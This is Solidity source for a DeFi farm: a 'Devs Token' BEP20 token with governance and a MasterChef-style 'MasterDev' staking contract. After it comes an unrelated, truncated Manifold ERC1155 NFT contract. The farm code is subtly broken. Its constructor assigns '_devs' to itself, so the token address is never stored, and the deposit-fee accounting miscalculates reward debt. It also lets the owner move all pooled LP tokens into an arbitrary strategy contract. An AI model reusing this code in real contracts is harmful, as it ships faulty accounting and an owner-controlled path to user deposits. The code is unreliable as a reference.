* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() external override view returns (address) {
return owner();
}
/**
* @dev Returns the name of the token.
*/
function name() public override view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public override view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
*/
function decimals() public override view returns (uint8) {
return _decimals;
}
/**
* @dev See {BEP20-totalSupply}.
*/
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {BEP20-balanceOf}.
*/
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
/**
* @dev See {BEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {BEP20-allowance}.
*/
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {BEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {BEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom (address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance')
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero'));
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer (address sender, address recipient, uint256 amount) internal {
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve (address owner, address spender, uint256 amount) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance'));
}
}
// Devs Token with Governance.
contract DevsToken is BEP20('Devs Token', 'DEVS') {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry
)
);
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash
)
);
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "DEVS::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "DEVS::delegateBySig: invalid nonce");
require(now <= expiry, "DEVS::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "DEVS::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying DEVS (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
)
internal
{
uint32 blockNumber = safe32(block.number, "DEVS::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
// EIP 2612
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
}
library BoringERC20 {
function safeSymbol(IERC20 token) internal view returns(string memory) {
(bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(0x95d89b41));
return success && data.length > 0 ? abi.decode(data, (string)) : "???";
}
function safeName(IERC20 token) internal view returns(string memory) {
(bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(0x06fdde03));
return success && data.length > 0 ? abi.decode(data, (string)) : "???";
}
function safeDecimals(IERC20 token) internal view returns (uint8) {
(bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(0x313ce567));
return success && data.length == 32 ? abi.decode(data, (uint8)) : 18;
}
function safeTransfer(IERC20 token, address to, uint256 amount) internal {
(bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(0xa9059cbb, to, amount));
require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: Transfer failed");
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 amount) internal {
(bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(0x23b872dd, from, to, amount));
require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: TransferFrom failed");
}
}
interface IRewarder {
using BoringERC20 for IERC20;
function onLqdrReward(uint256 pid, address user, address recipient, uint256 lqdrAmount, uint256 newLpAmount) external;
function pendingTokens(uint256 pid, address user, uint256 lqdrAmount) external view returns (IERC20[] memory, uint256[] memory);
}
interface IStrategy {
function rewards() external view returns (address);
function gauge() external view returns (address);
function want() external view returns (address);
function timelock() external view returns (address);
function deposit() external;
function withdrawForSwap(uint256) external returns (uint256);
function withdraw(address) external returns (uint256);
function withdraw(uint256) external returns (uint256);
function skim() external;
function withdrawAll() external returns (uint256);
function balanceOf() external view returns (uint256);
function balanceOfWant() external view returns (uint256);
function getHarvestable() external view returns (uint256);
function harvest() external;
function setTimelock(address) external;
function setController(address _controller) external;
function execute(address _target, bytes calldata _data)
external
payable
returns (bytes memory response);
function execute(bytes calldata _data)
external
payable
returns (bytes memory response);
}
contract IMasterChef {
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. Reward tokens to distribute per block.
uint256 lastRewardBlock; // Last block number that reward token distribution occurs.
uint256 accRewardTokenPerShare; // Accumulated reward tokens per share, times 1e12. See below.
}
// Info of each user that stakes LP tokens.
mapping(uint256 => PoolInfo) public poolInfo;
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Deposit LP tokens to MasterChef.
function deposit(uint256 _pid, uint256 _amount) external {}
// Withdraw LP tokens from MasterChef.
function withdraw(uint256 _pid, uint256 _amount) external {}
}
pragma solidity >=0.6.12;
pragma experimental ABIEncoderV2;
contract MasterDev is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using BoringERC20 for IERC20;
struct UserInfo {
uint256 amount;
uint256 rewardDebt;
}
struct PoolInfo {
uint256 accDevsPerShare;
uint256 lastRewardBlock;
uint256 allocPoint;
uint256 depositFee;
}
/// @notice Address of DEVS contract.
address public devs;
/// @notice Info of each MCV2 pool.
PoolInfo[] public poolInfo;
/// @notice Address of the LP token for each MCV2 pool.
IERC20[] public lpToken;
/// @notice Address of each `IRewarder` contract in MCV2.
IRewarder[] public rewarder;
/// @notice Address of each `IStrategy`.
IStrategy[] public strategies;
/// @notice Info of each user that stakes LP tokens.
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
/// @dev Total allocation points. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint;
uint256 public ACC_DEVS_PRECISION;
// Dev address.
address public devaddr;
// Deposit Fee Address
address public feeAddress;
mapping (uint256 => address) public feeAddresses;
address public treasury;
// LiquidDepositor address
address public liquidDepositor;
// DEVS tokens created per block.
uint256 public devsPerBlock;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount, address indexed to);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount, address indexed to);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount, address indexed to);
event Harvest(address indexed user, uint256 indexed pid, uint256 amount);
event LogPoolAddition(uint256 indexed pid, uint256 allocPoint, IERC20 indexed lpToken, IRewarder indexed rewarder);
event LogSetPool(uint256 indexed pid, uint256 allocPoint, IRewarder indexed rewarder, bool overwrite);
event LogUpdatePool(uint256 indexed pid, uint256 lastRewardBlock, uint256 lpSupply, uint256 accLqdrPerShare);
event SetDevAddress(address indexed user, address indexed newAddress);
event UpdateEmissionRate(address indexed user, uint256 lqdrPerBlock);
constructor(
address _devs,
address _devaddr,
address _feeAddress,
address _treasury,
uint256 _devsPerBlock
) public {
_devs = _devs;
devaddr = _devaddr;
feeAddress = _feeAddress;
treasury = _treasury;
devsPerBlock = _devsPerBlock;
ACC_DEVS_PRECISION = 1e18;
}
function setFeeAddress(address _feeAddress) public {
require(msg.sender == feeAddress || msg.sender == owner(), "setFeeAddress: FORBIDDEN");
feeAddress = _feeAddress;
}
function setTreasuryAddress(address _treasuryAddress) public {
require(msg.sender == treasury || msg.sender == owner(), "setTreasuryAddress: FORBIDDEN");
treasury = _treasuryAddress;
}
function dev(address _devaddr) public {
require(msg.sender == devaddr, "dev: wut?");
devaddr = _devaddr;
emit SetDevAddress(msg.sender, _devaddr);
}
/// @notice Returns the number of MCV2 pools.
function poolLength() public view returns (uint256 pools) {
pools = poolInfo.length;
}
mapping(IERC20 => bool) public poolExistence;
modifier nonDuplicated(IERC20 _lpToken) {
require(poolExistence[_lpToken] == false, "nonDuplicated: duplicated");
_;
}
/// @notice Add a new LP to the pool. Can only be called by the owner.
/// DO NOT add the same LP token more than once. Rewards will be messed up if you do.
/// @param allocPoint AP of the new pool.
/// @param _lpToken Address of the LP ERC-20 token.
/// @param _rewarder Address of the rewarder delegate.
function add(uint256 allocPoint, IERC20 _lpToken, IRewarder _rewarder, IStrategy _strategy, uint256 _depositFee, bool _withUpdate) public onlyOwner nonDuplicated(_lpToken){
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number;
totalAllocPoint = totalAllocPoint.add(allocPoint);
lpToken.push(_lpToken);
rewarder.push(_rewarder);
strategies.push(_strategy);
poolExistence[_lpToken] = true;
poolInfo.push(PoolInfo({
allocPoint: allocPoint,
lastRewardBlock: lastRewardBlock,
accDevsPerShare: 0,
depositFee: _depositFee
}));
emit LogPoolAddition(lpToken.length.sub(1), allocPoint, _lpToken, _rewarder);
}
/// @notice Update the given pool's DEVS allocation point and `IRewarder` contract. Can only be called by the owner.
/// @param _pid The index of the pool. See `poolInfo`.
/// @param _allocPoint New AP of the pool.
/// @param _rewarder Address of the rewarder delegate.
/// @param overwrite True if _rewarder should be `set`. Otherwise `_rewarder` is ignored.
function set(uint256 _pid, uint256 _allocPoint, IRewarder _rewarder, IStrategy _strategy, uint256 _depositFee, bool overwrite, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
poolInfo[_pid].depositFee = _depositFee;
if (overwrite) {
rewarder[_pid] = _rewarder;
if (address(strategies[_pid]) != address(_strategy)) {
_withdrawAllFromStrategy(_pid, strategies[_pid]);
_depositAllToStrategy(_pid, _strategy);
strategies[_pid] = _strategy;
}
}
emit LogSetPool(_pid, _allocPoint, overwrite ? _rewarder : rewarder[_pid], overwrite);
}
function _withdrawAllFromStrategy(uint256 _pid, IStrategy _strategy) internal {
IERC20 _lpToken = lpToken[_pid];
uint256 _strategyBalance = _strategy.balanceOf();
require(address(_lpToken) == _strategy.want(), '!lpToken');
if (_strategyBalance > 0) {
_strategy.withdraw(_strategyBalance);
uint256 _currentBalance = _lpToken.balanceOf(address(this));
require(_currentBalance >= _strategyBalance, '!balance1');
_strategyBalance = _strategy.balanceOf();
require(_strategyBalance == 0, '!balance2');
}
}
function _depositAllToStrategy(uint256 _pid, IStrategy _strategy) internal {
IERC20 _lpToken = lpToken[_pid];
uint256 _strategyBalanceBefore = _strategy.balanceOf();
uint256 _balanceBefore = _lpToken.balanceOf(address(this));
require(address(_lpToken) == _strategy.want(), '!lpToken');
if (_balanceBefore > 0) {
_lpToken.safeTransfer(address(_strategy), _balanceBefore);
_strategy.deposit();
uint256 _strategyBalanceAfter = _strategy.balanceOf();
uint256 _strategyBalanceDiff = _strategyBalanceAfter.sub(_strategyBalanceBefore);
require(_strategyBalanceDiff == _balanceBefore, '!balance1');
uint256 _balanceAfter = _lpToken.balanceOf(address(this));
require(_balanceAfter == 0, '!balance2');
}
}
/// @notice View function to see pending DEVS on frontend.
/// @param _pid The index of the pool. See `poolInfo`.
/// @param _user Address of user.
/// @return pending DEVS reward for a given user.
function pendingDevs(uint256 _pid, address _user) external view returns (uint256 pending) {
PoolInfo memory pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accDevsPerShare = pool.accDevsPerShare;
uint256 lpSupply;
if (address(strategies[_pid]) != address(0)) {
lpSupply = lpToken[_pid].balanceOf(address(this)).add(strategies[_pid].balanceOf());
}
else {
lpSupply = lpToken[_pid].balanceOf(address(this));
}
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 blocks = block.number.sub(pool.lastRewardBlock);
uint256 devsReward = blocks.mul(devsPerBlock).mul(pool.allocPoint) / totalAllocPoint;
accDevsPerShare = accDevsPerShare.add(devsReward.mul(ACC_DEVS_PRECISION) / lpSupply);
}
pending = (user.amount.mul(accDevsPerShare) / ACC_DEVS_PRECISION).sub(user.rewardDebt);
}
// Update reward variables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
function massHarvestFromStrategies() external {
uint256 len = strategies.length;
for (uint256 i = 0; i < len; ++i) {
if (address(strategies[i]) != address(0)) {
strategies[i].harvest();
}
}
}
/// @notice Update reward variables of the given pool.
/// @param pid The index of the pool. See `poolInfo`.
/// @return pool Returns the pool that was updated.
function updatePool(uint256 pid) public returns (PoolInfo memory pool) {
pool = poolInfo[pid];
if (block.number > pool.lastRewardBlock) {
uint256 lpSupply;
if (address(strategies[pid]) != address(0)) {
lpSupply = lpToken[pid].balanceOf(address(this)).add(strategies[pid].balanceOf());
}
else {
lpSupply = lpToken[pid].balanceOf(address(this));
}
if (lpSupply > 0) {
uint256 blocks = block.number.sub(pool.lastRewardBlock);
uint256 devsReward = blocks.mul(devsPerBlock).mul(pool.allocPoint) / totalAllocPoint;
DevsToken(devs).mint(devaddr, devsReward.div(12));
DevsToken(devs).mint(address(this), devsReward);
pool.accDevsPerShare = pool.accDevsPerShare.add(devsReward.mul(ACC_DEVS_PRECISION) / lpSupply);
}
pool.lastRewardBlock = block.number;
poolInfo[pid] = pool;
emit LogUpdatePool(pid, pool.lastRewardBlock, lpSupply, pool.accDevsPerShare);
}
}
/// @notice Deposit LP tokens to MCV2 for DEVS allocation.
/// @param pid The index of the pool. See `poolInfo`.
/// @param amount LP token amount to deposit.
function deposit(uint256 pid, uint256 amount) public {
PoolInfo memory pool = updatePool(pid);
UserInfo storage user = userInfo[pid][address(msg.sender)];
address _feeAddress = feeAddresses[pid];
if (_feeAddress == address(0)) {
_feeAddress = feeAddress;
}
// Effects
uint256 depositFeeAmount = amount.mul(pool.depositFee).div(10000);
user.amount = user.amount.add(amount).sub(depositFeeAmount);
user.rewardDebt = user.rewardDebt.add((amount.mul(pool.accDevsPerShare) / ACC_DEVS_PRECISION));
// Interactions
IRewarder _rewarder = rewarder[pid];
if (address(_rewarder) != address(0)) {
_rewarder.onLqdrReward(pid, address(msg.sender), address(msg.sender), 0, user.amount);
}
lpToken[pid].safeTransferFrom(msg.sender, address(this), amount);
lpToken[pid].safeTransfer(_feeAddress, depositFeeAmount);
IStrategy _strategy = strategies[pid];
if (address(_strategy) != address(0)) {
uint256 _amount = lpToken[pid].balanceOf(address(this));
lpToken[pid].safeTransfer(address(_strategy), _amount);
_strategy.deposit();
}
emit Deposit(msg.sender, pid, amount, address(msg.sender));
}
function _withdraw(uint256 amount, uint256 pid, address to) internal returns (uint256) {
uint256 balance = lpToken[pid].balanceOf(address(this));
IStrategy strategy = strategies[pid];
if (amount > balance) {
uint256 missing = amount.sub(balance);
uint256 withdrawn = strategy.withdraw(missing);
amount = balance.add(withdrawn);
}
lpToken[pid].safeTransfer(to, amount);
return amount;
}
/// @notice Withdraw LP tokens from MCV2.
/// @param pid The index of the pool. See `poolInfo`.
/// @param amount LP token amount to withdraw.
function withdraw(uint256 pid, uint256 amount) public {
PoolInfo memory pool = updatePool(pid);
UserInfo storage user = userInfo[pid][msg.sender];
require(user.amount >= amount, "withdraw: not good");
// Effects
user.rewardDebt = user.rewardDebt.sub((amount.mul(pool.accDevsPerShare) / ACC_DEVS_PRECISION));
user.amount = user.amount.sub(amount);
// Interactions
IRewarder _rewarder = rewarder[pid];
if (address(_rewarder) != address(0)) {
_rewarder.onLqdrReward(pid, msg.sender, address(msg.sender), 0, user.amount);
}
// lpToken[pid].safeTransfer(to, amount);
amount = _withdraw(amount, pid, address(msg.sender));
emit Withdraw(msg.sender, pid, amount, address(msg.sender));
}
/// @notice Harvest proceeds for transaction sender to `to`.
/// @param pid The index of the pool. See `poolInfo`.
/// @param to Receiver of DEVS rewards.
function harvest(uint256 pid, address to) public {
PoolInfo memory pool = updatePool(pid);
UserInfo storage user = userInfo[pid][msg.sender];
uint256 accumulatedDevs = (user.amount.mul(pool.accDevsPerShare) / ACC_DEVS_PRECISION);
uint256 _pendingDevs = accumulatedDevs.sub(user.rewardDebt);
// Effects
user.rewardDebt = accumulatedDevs;
// Interactions
if (_pendingDevs != 0) {
IERC20(devs).safeTransfer(to, _pendingDevs);
}
IRewarder _rewarder = rewarder[pid];
if (address(_rewarder) != address(0)) {
_rewarder.onLqdrReward( pid, msg.sender, to, _pendingDevs, user.amount);
}
emit Harvest(msg.sender, pid, _pendingDevs);
}
/// @notice Withdraw LP tokens from MCV2 and harvest proceeds for transaction sender to `to`.
/// @param pid The index of the pool. See `poolInfo`.
/// @param amount LP token amount to withdraw.
/// @param to Receiver of the LP tokens and DEVS rewards.
function withdrawAndHarvest(uint256 pid, uint256 amount, address to) public {
PoolInfo memory pool = updatePool(pid);
UserInfo storage user = userInfo[pid][msg.sender];
uint256 accumulatedDevs = (user.amount.mul(pool.accDevsPerShare) / ACC_DEVS_PRECISION);
uint256 _pendingDevs = accumulatedDevs.sub(user.rewardDebt);
// Effects
user.rewardDebt = accumulatedDevs.sub(uint256(amount.mul(pool.accDevsPerShare) / ACC_DEVS_PRECISION));
user.amount = user.amount.sub(amount);
// Interactions
IERC20(devs).safeTransfer(to, _pendingDevs);
IRewarder _rewarder = rewarder[pid];
if (address(_rewarder) != address(0)) {
_rewarder.onLqdrReward(pid, msg.sender, to, _pendingDevs, user.amount);
}
// lpToken[pid].safeTransfer(to, amount);
_withdraw(amount, pid, to);
emit Withdraw(msg.sender, pid, amount, to);
emit Harvest(msg.sender, pid, _pendingDevs);
}
/// @notice Withdraw without caring about rewards. EMERGENCY ONLY.
/// @param pid The index of the pool. See `poolInfo`.
function emergencyWithdraw(uint256 pid) public {
UserInfo storage user = userInfo[pid][msg.sender];
uint256 amount = user.amount;
user.amount = 0;
user.rewardDebt = 0;
IRewarder _rewarder = rewarder[pid];
if (address(_rewarder) != address(0)) {
_rewarder.onLqdrReward(pid, msg.sender, address(msg.sender), 0, 0);
}
// Note: transfer can fail or succeed if `amount` is zero.
amount = _withdraw(amount, pid, address(msg.sender));
// lpToken[pid].safeTransfer(to, amount);
emit EmergencyWithdraw(msg.sender, pid, amount, address(msg.sender));
}
//Pancake has to add hidden dummy pools inorder to alter the emission, here we make it simple and transparent to all.
function updateEmissionRate(uint256 _devsPerBlock) public onlyOwner {
massUpdatePools();
devsPerBlock = _devsPerBlock;
emit UpdateEmissionRate(msg.sender, _devsPerBlock);
}
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: .JakePGs
/// @author: manifold.xyz
import "./ERC1155Creator.sol";
//////////////////////////////////////////////
// //
// //
// .*""""""""""""""""""""""*. //
// : ; //
// : ; //
// : ...................... ; //
// : : ; ; //
// :_: ;_; //
// / : __...--------...__ ; \ //
// / :"' .*"*-. .-*"*. '"; \ //
// : ; / ;: \ : ; //
// ! ! ; * !! * : ! ! //
// ; ; : .' '. ; ; : //
// : .' '-.-' '-.-' '. ; //
// '-"\ /"-' //
// '. .' //
// *, '-__-' ,* //
// /.'-_ _-' .\ //
// / "-_"*-.____.-*" _-" \ //
// / '-_ /'\ _-' \ //
// : : __'" | "'__ ; ; //
// |.--.; |\/| | |\/| :.--.| //
// ( () |__| | |__| () ) //
// '--^_ | _^--' //
// | "'*--.._I_..--*'" | //
// | __..._ | _..._ | //
// .'" `"'" ''"'. //
// """"""""""""""""""""""" //
// //
// //
//////////////////////////////////////////////
contract JPG is ERC1155Creator {
constructor() ERC1155Creator() {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/proxy/Proxy.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract ERC1155Creator is Proxy {
constructor() {
